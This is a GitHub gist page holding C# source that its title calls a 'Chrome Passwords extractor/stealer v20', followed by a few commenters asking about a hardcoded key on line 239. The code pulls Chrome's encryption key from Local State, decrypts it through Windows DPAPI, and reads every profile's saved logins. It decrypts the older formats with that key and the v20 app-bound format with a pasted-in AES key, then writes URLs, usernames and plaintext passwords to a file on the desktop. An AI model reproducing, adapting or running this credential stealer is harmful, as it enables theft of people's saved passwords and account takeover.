Created
May 26, 2025 06:53
-
-
Save theflorr/198be17fb0a2f8b1fe19866708fa55fe to your computer and use it in GitHub Desktop.
Chrome Passwords extractor/stealer v20 - Working as of mid 2025
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
| using System; | |
| using System.IO; | |
| using System.Text; | |
| using System.Runtime.InteropServices; | |
| using System.Security.Cryptography; | |
| using System.Data.SQLite; | |
| using System.Collections.Generic; | |
| using System.Text.Json; | |
| class ChromePasswordRecovery | |
| { | |
| [DllImport("crypt32.dll", SetLastError = true, CharSet = CharSet.Auto)] | |
| [return: MarshalAs(UnmanagedType.Bool)] | |
| static extern bool CryptUnprotectData( | |
| ref DATA_BLOB pDataIn, | |
| StringBuilder ppszDataDescr, | |
| ref DATA_BLOB pOptionalEntropy, | |
| IntPtr pvReserved, | |
| IntPtr pPromptStruct, | |
| int dwFlags, | |
| ref DATA_BLOB pDataOut); | |
| [StructLayout(LayoutKind.Sequential, CharSet = CharSet.Unicode)] | |
| internal struct DATA_BLOB | |
| { | |
| public int cbData; | |
| public IntPtr pbData; | |
| } | |
| const int CRYPTPROTECT_UI_FORBIDDEN = 0x1; | |
| static void Main(string[] args) | |
| { | |
| Console.WriteLine("Made by @Crysiox"); | |
| Console.WriteLine("=================================="); | |
| List<PasswordInfo> passwords = new List<PasswordInfo>(); | |
| string userDataDir = Path.Combine(Environment.GetFolderPath(Environment.SpecialFolder.LocalApplicationData), "Google", "Chrome", "User Data"); | |
| byte[] masterKey = GetMasterKey(userDataDir); | |
| if (masterKey == null) | |
| { | |
| Console.WriteLine("Failed to retrieve master key. Cannot decrypt passwords."); | |
| Console.ReadKey(); | |
| return; | |
| } | |
| Console.WriteLine($"Successfully retrieved master key (length: {masterKey.Length} bytes)"); | |
| string[] profiles = { "Default", "Profile 1", "Profile 2", "Profile 3", "Profile 4", "Profile 5" }; | |
| foreach (string profile in profiles) | |
| { | |
| string loginDataPath = Path.Combine(userDataDir, profile, "Login Data"); | |
| if (!File.Exists(loginDataPath)) | |
| { | |
| Console.WriteLine($"Profile {profile} not found, skipping."); | |
| continue; | |
| } | |
| Console.WriteLine($"Processing profile: {profile}"); | |
| ProcessLoginData(loginDataPath, profile, masterKey, passwords); | |
| } | |
| string outputFile = Path.Combine(Environment.GetFolderPath(Environment.SpecialFolder.Desktop), "chrome_passwords_recovered.txt"); | |
| SavePasswords(passwords, outputFile); | |
| Console.WriteLine("Attempting decryption with alternative methods..."); | |
| RescuePasswords(passwords, outputFile); | |
| Console.WriteLine($"Found {passwords.Count} credentials"); | |
| Console.WriteLine($"Results saved to: {outputFile}"); | |
| Console.WriteLine("Press any key to exit..."); | |
| Console.ReadKey(); | |
| } | |
| private static byte[] GetMasterKey(string userDataDir) | |
| { | |
| try | |
| { | |
| string localStatePath = Path.Combine(userDataDir, "Local State"); | |
| if (!File.Exists(localStatePath)) | |
| { | |
| Console.WriteLine("Local State file not found!"); | |
| return null; | |
| } | |
| string jsonContent = File.ReadAllText(localStatePath); | |
| using (JsonDocument doc = JsonDocument.Parse(jsonContent)) | |
| { | |
| JsonElement root = doc.RootElement; | |
| JsonElement osCrypt = root.GetProperty("os_crypt"); | |
| string encryptedKey = osCrypt.GetProperty("encrypted_key").GetString(); | |
| if (encryptedKey == null) | |
| { | |
| Console.WriteLine("Could not find encrypted_key in Local State"); | |
| return null; | |
| } | |
| byte[] encryptedKeyBytes = Convert.FromBase64String(encryptedKey); | |
| byte[] encryptedKeyWithoutPrefix = new byte[encryptedKeyBytes.Length - 5]; | |
| Array.Copy(encryptedKeyBytes, 5, encryptedKeyWithoutPrefix, 0, encryptedKeyWithoutPrefix.Length); | |
| return DecryptWithDPAPI(encryptedKeyWithoutPrefix); | |
| } | |
| } | |
| catch (Exception ex) | |
| { | |
| Console.WriteLine($"Error getting master key: {ex.Message}"); | |
| return null; | |
| } | |
| } | |
| private static void ProcessLoginData(string loginDataPath, string profile, byte[] masterKey, List<PasswordInfo> passwords) | |
| { | |
| try | |
| { | |
| string tempDbFile = Path.GetTempFileName(); | |
| try | |
| { | |
| File.Copy(loginDataPath, tempDbFile, true); | |
| } | |
| catch (IOException) | |
| { | |
| Console.WriteLine("Database is locked. Try closing Chrome first."); | |
| return; | |
| } | |
| using (var connection = new SQLiteConnection($"Data Source={tempDbFile};Version=3;")) | |
| { | |
| connection.Open(); | |
| using (var command = new SQLiteCommand("SELECT origin_url, username_value, password_value, date_created FROM logins", connection)) | |
| { | |
| using (var reader = command.ExecuteReader()) | |
| { | |
| while (reader.Read()) | |
| { | |
| try | |
| { | |
| string url = reader.IsDBNull(0) ? "" : reader.GetString(0); | |
| string username = reader.IsDBNull(1) ? "" : reader.GetString(1); | |
| byte[] encryptedPassword = reader.IsDBNull(2) ? new byte[0] : (byte[])reader["password_value"]; | |
| long dateCreated = reader.IsDBNull(3) ? 0 : reader.GetInt64(3); | |
| DecryptionResult result = DecryptChromePassword(encryptedPassword, masterKey); | |
| passwords.Add(new PasswordInfo | |
| { | |
| Url = url, | |
| Username = username, | |
| Password = result.Password, | |
| Profile = profile, | |
| RawData = result.Success ? null : Convert.ToBase64String(encryptedPassword), | |
| DateCreated = dateCreated | |
| }); | |
| Console.WriteLine($"Processed: {url} - Username: {username} - {(result.Success ? "SUCCESS" : "FAILED")}"); | |
| } | |
| catch (Exception ex) | |
| { | |
| Console.WriteLine($"Error processing entry: {ex.Message}"); | |
| } | |
| } | |
| } | |
| } | |
| } | |
| try { File.Delete(tempDbFile); } catch { } | |
| } | |
| catch (Exception ex) | |
| { | |
| Console.WriteLine($"Error processing login data: {ex.Message}"); | |
| } | |
| } | |
| private static DecryptionResult DecryptChromePassword(byte[] encryptedData, byte[] masterKey) | |
| { | |
| try | |
| { | |
| if (encryptedData == null || encryptedData.Length == 0) | |
| return new DecryptionResult { Success = true, Password = "" }; | |
| if (encryptedData.Length > 0 && encryptedData[0] != 'v') | |
| { | |
| try | |
| { | |
| byte[] decrypted = DecryptWithDPAPI(encryptedData); | |
| return new DecryptionResult | |
| { | |
| Success = true, | |
| Password = Encoding.UTF8.GetString(decrypted) | |
| }; | |
| } | |
| catch (Exception) | |
| { | |
| } | |
| } | |
| if (encryptedData.Length >= 3 && encryptedData[0] == 'v') | |
| { | |
| string versionStr = Encoding.ASCII.GetString(encryptedData, 0, 3); | |
| if (encryptedData.Length < 15) | |
| { | |
| return new DecryptionResult | |
| { | |
| Success = false, | |
| Password = $"[Data too short: {encryptedData.Length} bytes]" | |
| }; | |
| } | |
| byte[] nonce = new byte[12]; | |
| Array.Copy(encryptedData, 3, nonce, 0, 12); | |
| if (versionStr == "v20") | |
| { | |
| int ciphertextLength = encryptedData.Length - 3 - 12 - 16; | |
| if (ciphertextLength <= 0) | |
| { | |
| return new DecryptionResult | |
| { | |
| Success = false, | |
| Password = "[Invalid ciphertext length]" | |
| }; | |
| } | |
| byte[] ciphertext = new byte[ciphertextLength]; | |
| Array.Copy(encryptedData, 3 + 12, ciphertext, 0, ciphertextLength); | |
| byte[] tag = new byte[16]; | |
| Array.Copy(encryptedData, 3 + 12 + ciphertextLength, tag, 0, 16); | |
| byte[] v20Key = Convert.FromHexString("2cbb75f900297630e4201fc2b356e6d0eec7b5004b36ca88d941239a69d6ea3e"); // replace aes key here, get one from: | |
| // https://github.com/xaitax/Chrome-App-Bound-Encryption-Decryption | |
| return DecryptAesGcmWithTag(v20Key, nonce, ciphertext, tag); | |
| } | |
| if (versionStr == "v10" || versionStr == "v11") | |
| { | |
| int ciphertextLength = encryptedData.Length - 3 - 12 - 16; | |
| if (ciphertextLength <= 0) | |
| { | |
| return new DecryptionResult | |
| { | |
| Success = false, | |
| Password = "[Invalid ciphertext length]" | |
| }; | |
| } | |
| byte[] ciphertext = new byte[ciphertextLength]; | |
| Array.Copy(encryptedData, 3 + 12, ciphertext, 0, ciphertextLength); | |
| byte[] tag = new byte[16]; | |
| Array.Copy(encryptedData, 3 + 12 + ciphertextLength, tag, 0, 16); | |
| return DecryptAesGcmWithTag(masterKey, nonce, ciphertext, tag); | |
| } | |
| return new DecryptionResult | |
| { | |
| Success = false, | |
| Password = $"[Failed: {versionStr}]" | |
| }; | |
| } | |
| return new DecryptionResult { Success = false, Password = "[Unknown format]" }; | |
| } | |
| catch (Exception ex) | |
| { | |
| return new DecryptionResult { Success = false, Password = $"[Error: {ex.Message}]" }; | |
| } | |
| } | |
| private static DecryptionResult DecryptAesGcmWithTag(byte[] key, byte[] nonce, byte[] ciphertext, byte[] tag) | |
| { | |
| try | |
| { | |
| if (key == null || key.Length != 32 || nonce == null || nonce.Length != 12 || | |
| ciphertext == null || ciphertext.Length == 0 || tag == null || tag.Length != 16) | |
| { | |
| return new DecryptionResult { Success = false, Password = "[Invalid input data]" }; | |
| } | |
| byte[] plaintext = new byte[ciphertext.Length]; | |
| using (AesGcm aesGcm = new AesGcm(key)) | |
| { | |
| aesGcm.Decrypt(nonce, ciphertext, tag, plaintext); | |
| string result = Encoding.UTF8.GetString(plaintext); | |
| if (!ContainsControlChars(result)) | |
| { | |
| return new DecryptionResult { Success = true, Password = result }; | |
| } | |
| } | |
| return new DecryptionResult { Success = false, Password = "[GCM Failed]" }; | |
| } | |
| catch (Exception ex) | |
| { | |
| return new DecryptionResult { Success = false, Password = $"[GCM Error: {ex.Message}]" }; | |
| } | |
| } | |
| private static string DecryptWithSimplerMethods(byte[] key, byte[] nonce, byte[] data) | |
| { | |
| try | |
| { | |
| string result = DecryptAesCtr(key, nonce, data); | |
| if (!ContainsControlChars(result)) | |
| return result; | |
| using (Aes aes = Aes.Create()) | |
| { | |
| aes.Key = key; | |
| byte[] iv = new byte[16]; | |
| Array.Copy(nonce, 0, iv, 0, Math.Min(nonce.Length, 16)); | |
| aes.IV = iv; | |
| aes.Mode = CipherMode.CBC; | |
| aes.Padding = PaddingMode.PKCS7; | |
| try | |
| { | |
| using (ICryptoTransform decryptor = aes.CreateDecryptor()) | |
| { | |
| byte[] plaintext = decryptor.TransformFinalBlock(data, 0, data.Length); | |
| result = Encoding.UTF8.GetString(plaintext); | |
| if (!ContainsControlChars(result)) | |
| return result; | |
| } | |
| } | |
| catch | |
| { | |
| } | |
| } | |
| using (Aes aes = Aes.Create()) | |
| { | |
| aes.Key = key; | |
| byte[] iv = new byte[16]; | |
| Array.Copy(nonce, 0, iv, 0, Math.Min(nonce.Length, 16)); | |
| aes.IV = iv; | |
| aes.Mode = CipherMode.CBC; | |
| aes.Padding = PaddingMode.None; | |
| try | |
| { | |
| if (data.Length % 16 == 0 && data.Length >= 16) | |
| { | |
| using (ICryptoTransform decryptor = aes.CreateDecryptor()) | |
| { | |
| byte[] plaintext = decryptor.TransformFinalBlock(data, 0, data.Length); | |
| int paddingSize = plaintext[plaintext.Length - 1]; | |
| if (paddingSize > 0 && paddingSize <= 16) | |
| { | |
| byte[] unpaddedText = new byte[plaintext.Length - paddingSize]; | |
| Array.Copy(plaintext, 0, unpaddedText, 0, unpaddedText.Length); | |
| result = Encoding.UTF8.GetString(unpaddedText); | |
| if (!ContainsControlChars(result)) | |
| return result; | |
| } | |
| } | |
| } | |
| } | |
| catch | |
| { | |
| } | |
| } | |
| return string.Empty; | |
| } | |
| catch | |
| { | |
| return string.Empty; | |
| } | |
| } | |
| private static string DecryptAesCtr(byte[] key, byte[] nonce, byte[] ciphertext) | |
| { | |
| try | |
| { | |
| using (Aes aes = Aes.Create()) | |
| { | |
| aes.Key = key; | |
| aes.Mode = CipherMode.ECB; | |
| aes.Padding = PaddingMode.None; | |
| byte[] counter = new byte[16]; | |
| Array.Copy(nonce, 0, counter, 0, Math.Min(nonce.Length, 16)); | |
| byte[] output = new byte[ciphertext.Length]; | |
| byte[] encryptedCounter = new byte[16]; | |
| for (int blockOffset = 0; blockOffset < ciphertext.Length; blockOffset += 16) | |
| { | |
| using (ICryptoTransform encryptor = aes.CreateEncryptor()) | |
| { | |
| encryptedCounter = encryptor.TransformFinalBlock(counter, 0, 16); | |
| } | |
| int bytesToProcess = Math.Min(16, ciphertext.Length - blockOffset); | |
| for (int i = 0; i < bytesToProcess; i++) | |
| { | |
| if (blockOffset + i < output.Length && blockOffset + i < ciphertext.Length) | |
| output[blockOffset + i] = (byte)(ciphertext[blockOffset + i] ^ encryptedCounter[i]); | |
| } | |
| IncrementCounter(counter); | |
| } | |
| return Encoding.UTF8.GetString(output); | |
| } | |
| } | |
| catch | |
| { | |
| return string.Empty; | |
| } | |
| } | |
| private static void IncrementCounter(byte[] counter) | |
| { | |
| for (int i = counter.Length - 1; i >= 0; i--) | |
| { | |
| if (++counter[i] != 0) | |
| break; | |
| } | |
| } | |
| private static bool ContainsControlChars(string s) | |
| { | |
| if (string.IsNullOrEmpty(s)) | |
| return false; | |
| foreach (char c in s) | |
| { | |
| if (c < 32 && c != 9 && c != 10 && c != 13) | |
| return true; | |
| } | |
| return false; | |
| } | |
| private static byte[] DecryptWithDPAPI(byte[] ciphertext) | |
| { | |
| DATA_BLOB dataIn = new DATA_BLOB(); | |
| DATA_BLOB dataOut = new DATA_BLOB(); | |
| DATA_BLOB entropy = new DATA_BLOB(); | |
| try | |
| { | |
| dataIn.pbData = Marshal.AllocHGlobal(ciphertext.Length); | |
| dataIn.cbData = ciphertext.Length; | |
| Marshal.Copy(ciphertext, 0, dataIn.pbData, ciphertext.Length); | |
| entropy.pbData = IntPtr.Zero; | |
| entropy.cbData = 0; | |
| dataOut.pbData = IntPtr.Zero; | |
| dataOut.cbData = 0; | |
| bool success = CryptUnprotectData( | |
| ref dataIn, | |
| null, | |
| ref entropy, | |
| IntPtr.Zero, | |
| IntPtr.Zero, | |
| CRYPTPROTECT_UI_FORBIDDEN, | |
| ref dataOut); | |
| if (!success) | |
| { | |
| int error = Marshal.GetLastWin32Error(); | |
| throw new Exception($"DPAPI failed with error code: {error}"); | |
| } | |
| byte[] result = new byte[dataOut.cbData]; | |
| Marshal.Copy(dataOut.pbData, result, 0, dataOut.cbData); | |
| return result; | |
| } | |
| finally | |
| { | |
| if (dataIn.pbData != IntPtr.Zero) Marshal.FreeHGlobal(dataIn.pbData); | |
| if (dataOut.pbData != IntPtr.Zero) Marshal.FreeHGlobal(dataOut.pbData); | |
| } | |
| } | |
| private static void SavePasswords(List<PasswordInfo> passwords, string filePath) | |
| { | |
| using (StreamWriter writer = new StreamWriter(filePath)) | |
| { | |
| writer.WriteLine("Chrome Saved Passwords"); | |
| writer.WriteLine("====================="); | |
| writer.WriteLine(); | |
| int successCount = 0; | |
| int failCount = 0; | |
| foreach (var entry in passwords) | |
| { | |
| writer.WriteLine($"URL: {entry.Url}"); | |
| writer.WriteLine($"Username: {entry.Username}"); | |
| writer.WriteLine($"Password: {entry.Password}"); | |
| writer.WriteLine($"Profile: {entry.Profile}"); | |
| if (entry.DateCreated > 0) | |
| { | |
| DateTime epoch = new DateTime(1601, 1, 1, 0, 0, 0, DateTimeKind.Utc); | |
| DateTime created = epoch.AddMicroseconds(entry.DateCreated / 10); | |
| writer.WriteLine($"Created: {created.ToLocalTime()}"); | |
| } | |
| writer.WriteLine("-----------------------------------------------------"); | |
| if (entry.Password.StartsWith("[")) | |
| failCount++; | |
| else | |
| successCount++; | |
| } | |
| writer.WriteLine($"\nTotal entries: {passwords.Count}"); | |
| writer.WriteLine($"Successfully decrypted: {successCount}"); | |
| writer.WriteLine($"Failed to decrypt: {failCount}"); | |
| } | |
| } | |
| private static void RescuePasswords(List<PasswordInfo> passwords, string filePath) | |
| { | |
| List<PasswordInfo> rescueAttempts = new List<PasswordInfo>(); | |
| foreach (var entry in passwords) | |
| { | |
| if (entry.Password.StartsWith("[") && !string.IsNullOrEmpty(entry.RawData)) | |
| { | |
| try | |
| { | |
| byte[] encryptedData = Convert.FromBase64String(entry.RawData); | |
| if (encryptedData.Length >= 3 && encryptedData[0] == 'v') | |
| { | |
| byte[] dataAfterPrefix = new byte[encryptedData.Length - 3]; | |
| Array.Copy(encryptedData, 3, dataAfterPrefix, 0, dataAfterPrefix.Length); | |
| string directString = Encoding.UTF8.GetString(dataAfterPrefix); | |
| if (!ContainsControlChars(directString) && directString.Length >= 4) | |
| { | |
| PasswordInfo rescued = new PasswordInfo | |
| { | |
| Url = entry.Url, | |
| Username = entry.Username, | |
| Password = $"[ATTEMPT]: {directString}", | |
| Profile = entry.Profile | |
| }; | |
| rescueAttempts.Add(rescued); | |
| } | |
| } | |
| } | |
| catch | |
| { | |
| } | |
| } | |
| } | |
| if (rescueAttempts.Count > 0) | |
| { | |
| using (StreamWriter writer = new StreamWriter(filePath, true)) | |
| { | |
| writer.WriteLine("\n\n==== ATTEMPTS ===="); | |
| writer.WriteLine("The following are last-resort attempts that may contain partial passwords:\n"); | |
| foreach (var entry in rescueAttempts) | |
| { | |
| writer.WriteLine($"URL: {entry.Url}"); | |
| writer.WriteLine($"Username: {entry.Username}"); | |
| writer.WriteLine($"Possible Password: {entry.Password}"); | |
| writer.WriteLine($"Profile: {entry.Profile}"); | |
| writer.WriteLine("-----------------------------------------------------"); | |
| } | |
| writer.WriteLine($"\nRescue attempts: {rescueAttempts.Count}"); | |
| } | |
| Console.WriteLine($"Added {rescueAttempts.Count} rescue attempts to output"); | |
| } | |
| } | |
| private class PasswordInfo | |
| { | |
| public string Url { get; set; } = string.Empty; | |
| public string Username { get; set; } = string.Empty; | |
| public string Password { get; set; } = string.Empty; | |
| public string Profile { get; set; } = string.Empty; | |
| public string RawData { get; set; } = null; | |
| public long DateCreated { get; set; } = 0; | |
| } | |
| private class DecryptionResult | |
| { | |
| public bool Success { get; set; } | |
| public string Password { get; set; } | |
| } | |
| } |
Author
what exactly does line 239 mean? what do i replace the key with?
what exactly does line 239 mean? what do i replace the key with?
Sign up for free
to join this conversation on GitHub.
Already have an account?
Sign in to comment
Check line 239 !